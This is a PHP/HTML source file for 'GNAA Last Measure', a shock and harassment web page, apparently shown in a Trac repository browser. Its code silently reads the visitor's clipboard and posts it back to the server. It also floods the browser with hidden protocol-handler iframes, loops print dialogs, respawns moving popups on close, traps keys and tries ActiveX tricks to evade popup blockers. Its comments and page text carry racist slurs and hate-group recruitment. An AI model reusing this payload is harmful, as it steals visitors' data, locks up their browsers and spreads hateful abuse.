source: trollforge/lastmeasure/index.php @ 86

Revision 86, 11.6 KB checked in by sam, 7 years ago (diff)
  • merged printmeasure etc.
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8/* Additional information */
9$send = $_POST['send'];
10$popup = $_GET['popup'];
11$procreate = $_GET['procreate'];
12$music = $_GET['music'];
13
14/* Print a random image name, with its 'image/' prefix. */
15$imagelist = array();
16$dh = opendir('images/');
17while(($file = readdir($dh)) != false) {
18  $ext = substr($file, -3);
19  if($ext == 'jpg' || $ext == 'gif') {
20    $imagelist[] = $file;
21  }
22}
23closedir($dh);
24function random_image() {
25   global $imagelist;
26   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
27}
28
29function hey_everybody() { ?>
30  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
31  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
32          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
33          width="1" height="1" id="hey" align="">
34    <param name="movie" value="flash/hey.swf"></param>
35    <param name="quality" value="high"></param>
36    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
37           type="application/x-shockwave-flash"
38           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
39  </object>
40<?php
41}
42
43function external_ruin() { ?>
44  <script>
45    var mail = 'mailto:JOIN@THE.GNAA?subject=2005_RECRUITMENT_DRIVE'
46        mail += '&body=www.gnaa.us';
47    var news = 'news:alt.flame.niggers';
48
49    var protos = [
50      mail,
51      'irc://irc.gnaa.us/#gnaa',
52      'rlogin://x.x.x.x:xx',
53      mail,
54      'telnet://x.x.x.x:xx',
55      mail,
56      'ed2k://|file|Star.Wars.Episode.III.Revenge.of.the.Sith.2005.PROPER.DVDRip.XviD-GNAA.avi|1073397760|4D34DCA3C4E81B484EAC8CA408EEDD48|h=4OBEIFRUQRW7QJGRPBZJGRRQJHNP7KJS|/',
57      news,
58      'callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE'
59    ];
60
61    function add(str) {
62      div = document.getElementById('goatse');
63      div.innerHTML = '<iframe width=1 height=1 src="' + str + '"></iframe>';
64    }
65
66    function extruin() {
67      document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
68      for(i = 0; i < 10; i++) {
69        add(mail);
70        add(news);
71      }
72      setTimeout("ruin()", 10);
73    }
74
75    function ruin() {
76      for(i = 0; i < protos.length; i++) {
77        add(protos[i]);
78      }
79      print();
80      setTimeout("ruin()", 10);
81    }
82  </script>
83<?php
84}
85
86function move_around($w, $h) { ?>
87  <script>
88    var images = new Array;
89    <?php
90    global $imagelist;
91    echo "var imagecount = ".count($imagelist).";\n";
92    for($i = 0; $i < count($imagelist); $i++) {
93      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
94    } ?>
95
96    var delay = 10;
97    var step = .2;
98    var curstep = 0;
99
100    window.resizeTo(<?php echo "$w, $h";?>);
101    var centerX = (self.screen.width - document.body.clientWidth) / 2;
102    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
103    movew0w();
104
105    function movew0w() {
106      var j;
107      for (j = 0; j < 10; j++) {
108        curstep += step / 10;
109        var factorX = Math.sin(curstep * 6.1) * 0.9;
110        var factorY = Math.cos(curstep * 3.7) * 0.9;
111
112//        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
113//                    * (Math.sin(10+curstep/(10+j))+0.2)
114//                    * Math.cos((curstep + j*25)/10);
115//        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
116//                    * (Math.sin(10+curstep/10)+0.2)
117//                    * Math.cos((curstep + j*25)/10);
118        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
119      }
120      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
121      setTimeout("movew0w()", delay);
122    }
123  </script>
124<?php
125}
126
127function spawn_children() { ?>
128  <script>
129    function shellscript() {
130      open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?music=1','_blank','scrollbar=no');
131      // TODO: LOOP
132      open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
133    }
134
135    function main() {
136      x.DOM.Script.execScript(shellscript.toString());
137      x.DOM.Script.setTimeout("shellscript()");
138    }
139  </script>
140<?php
141}
142
143function divert_onload() { ?>
144  <script language="JavaScript">
145    <!--
146    var SymRealOnLoad;
147    var SymRealOnUnload;
148    var SymRealWinOpen;
149
150    function SymOnUnload() {
151      window.open = SymWinOpen;
152      if(SymRealOnUnload != null)
153        SymRealOnUnload();
154    }
155
156    function SymOnLoad() {
157      if(SymRealOnLoad != null)
158        SymRealOnLoad();
159      window.open = SymRealWinOpen;
160      SymRealOnUnload = window.onUnload;
161      window.onUnload = SymOnUnload;
162    }
163
164    SymRealOnLoad = window.onLoad;
165    window.onLoad = SymOnLoad;
166    //-->
167  </script>
168<?php
169}
170
171function activate_applets() { ?>
172  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
173          align="middle" height="1" width="1">
174    <param name="ActivateApplets" value="1"></param>
175    <param name="ActivateActiveXControls" value="1"></param>
176  </object>
177<?php
178}
179
180?>
181<html>
182  <head>
183    <title>GNAA Last Measure Unified</title>
184    <script language="JavaScript">
185      <?php include("include/js.inc"); ?>
186    </script>
187    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
188    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
189  </head>
190<?php
191
192    /*
193     *
194     *  First window ever, this should be our entry point
195     *
196     */
197
198    if(!$popup && !$send && !$procreate && !$music) { ?>
199    <body>
200      <?php include "include/goatse.php"; ?>
201      <form name="clip" method="post" action="index.php" style="display:none">
202        <input type="text" name="content">
203        <input type="hidden" name="send" value="1">
204        <input type="hidden" name="refer" value="<?php echo $refer; ?>">
205        <input type="hidden" name="user" value="<?php echo $user; ?>">
206        <input type="submit">
207      </form>
208      <script language="javascript">
209        // without this if statement check, it bombs out with an error
210        if (typeof clipboardData != 'undefined') {
211          var content = clipboardData.getData("Text");
212          document.forms["clip"].elements["content"].value = content;
213        }
214        document.forms["clip"].submit();
215      </script>
216    </body><?php
217
218    /*
219     *
220     *  This is still the first window, but we got the clipboard contents
221     *
222     */
223
224    } elseif($send) {
225      ?>
226<body background="<?php random_image();?>" bgcolor="#ffffff"
227      onLoad="setTimeout('extruin()',100);<?php if($br_ie6) { ?>setTimeout('main()',100)"<?php } ?>
228      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
229  <?php move_around(800, 600);?>
230  <?php if($br_ie6) {
231          //activate_applets();
232          //spawn_children();
233          //divert_onload();
234        } //else { ?>
235  <table width="100%" height="100%">
236    <tr>
237      <td valign="middle">
238        <div align="center">
239          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
240          <br />
241          <br />
242          <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
243                  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
244                  width="10" height="10">
245            <param name="movie" value="flash/first_opener.swf"></param>
246            <param name="quality" value="high"></param>
247            <embed src="flash/first_opener.swf" quality="high"
248                   pluginspage="http://www.macromedia.com/go/getflashplayer"
249                   type="application/x-shockwave-flash" width="10" height="10">
250            </embed>
251          </object>
252        </div>
253      </td>
254    </tr>
255  </table>
256  <?php //} ?>
257  <form>
258    <input type="submit" value="CLICK ME" name="CLICK ME"
259           style="width: 2000px; height: 2000px;
260                  background-image: url('<?php //random_image();?>');"
261           src="<?php //random_image();?>" height="300" width="300"
262           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
263                        return true; }document.goatse.reset();movew0w();
264                        return true;"
265           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
266                    return true; } movew0w();return true;"
267           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
268                       return true; } else{procreate();}
269                       movew0w();return true;">
270<!-- RENDERS UGLILY ON IE
271    <img src="<?php random_image();?>"
272         onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
273                      return true; } procreate();movew0w();return true;"
274         onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
275                     return true; }">
276    <big><b>GNAA &gt; j00</b></big>
277    <br />
278    fristage postage is mine
279-->
280    <?php hey_everybody(); ?>
281<!--
282    <br>
283    Lastmeasure last measure last-measure nero institute
284-->
285  </form>
286  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
287    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
288  </form>
289</body><?php
290
291    /*
292     *
293     *  Window is a music helper window
294     *
295     */
296
297    } elseif($music) {
298      ?>
299<body onLoad="movewindow();"
300      onUnload="window.open('index.php?music=1','music','fullscreen=0');">
301  <?php move_around(10, 10); ?>
302  <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
303    <tr>
304      <td align="center" valign="middle"><?php hey_everybody();?></td>
305    </tr>
306  </table>
307</body><?php
308
309    /*
310     *
311     *  Window is a procreate window
312     *
313     */
314
315    } elseif($procreate) {
316      ?>
317<body bgColor="#ffffff"
318      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
319      onKeyDown="altf4key();ctrlkey();delkey();"
320      onMouseOver="procreate();movew0w();">
321  <?php move_around(800, 600);?>
322  <h1>PROCREATING LAST MEASURE!!!</h1>
323  <h1>GNAA > j00</h1>
324  <h1>Fristage Postage is MINE.</h1>
325  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
326  fucking nigger operating system.. at least in fucking Firebird you don't
327  have to do this shit.
328  <?php hey_everybody(); ?>
329  <form name="goatse" action="#" ONreset="procreate(); return true;">
330  </form>
331</body>
332<?php
333
334    /*
335     *
336     *  Window is a popup
337     *
338     */
339
340    } elseif($popup) {
341      ?>
342<body background="<?php random_image();?>" bgColor="#ffffff"
343      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
344      <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)"
345      <?php } else { ?>onUnload="window.open('index.php?popup=1', '<?php random_image();?>', 'fullscreen=0')"
346      <?php } ?>
347      onKeyDown="altf4key();ctrlkey();delkey();"
348      onMouseOver="procreate();movew0w();">
349  <?php move_around(800, 600);?>
350  <?php if($br_ie6) {
351          activate_applets();
352          spawn_children();
353          divert_onload();
354        } else { ?>
355  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
356          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
357          width="10" height="10">
358    <param name="movie" value="flash/second_opener.swf"></param>
359    <param name="quality" value="high"></param>
360    <!-- FIXME: see how flashvars can be given -->
361    <embed src="flash/second_opener.swf" quality="high"
362           pluginspage="http://www.macromedia.com/go/getflashplayer"
363           type="application/x-shockwave-flash" width="10" height="10"></embed>
364  </object>
365      <?php
366        } ?>
367  <form name="goatse" action="#" ONreset="procreate();return true;">
368    <img src="<?php random_image();?>"
369         onMouseOver="procreate();movew0w();return true;" />
370  </form>
371</body>
372      <?php
373    }
374?>
375</html>
Note: See TracBrowser for help on using the repository browser.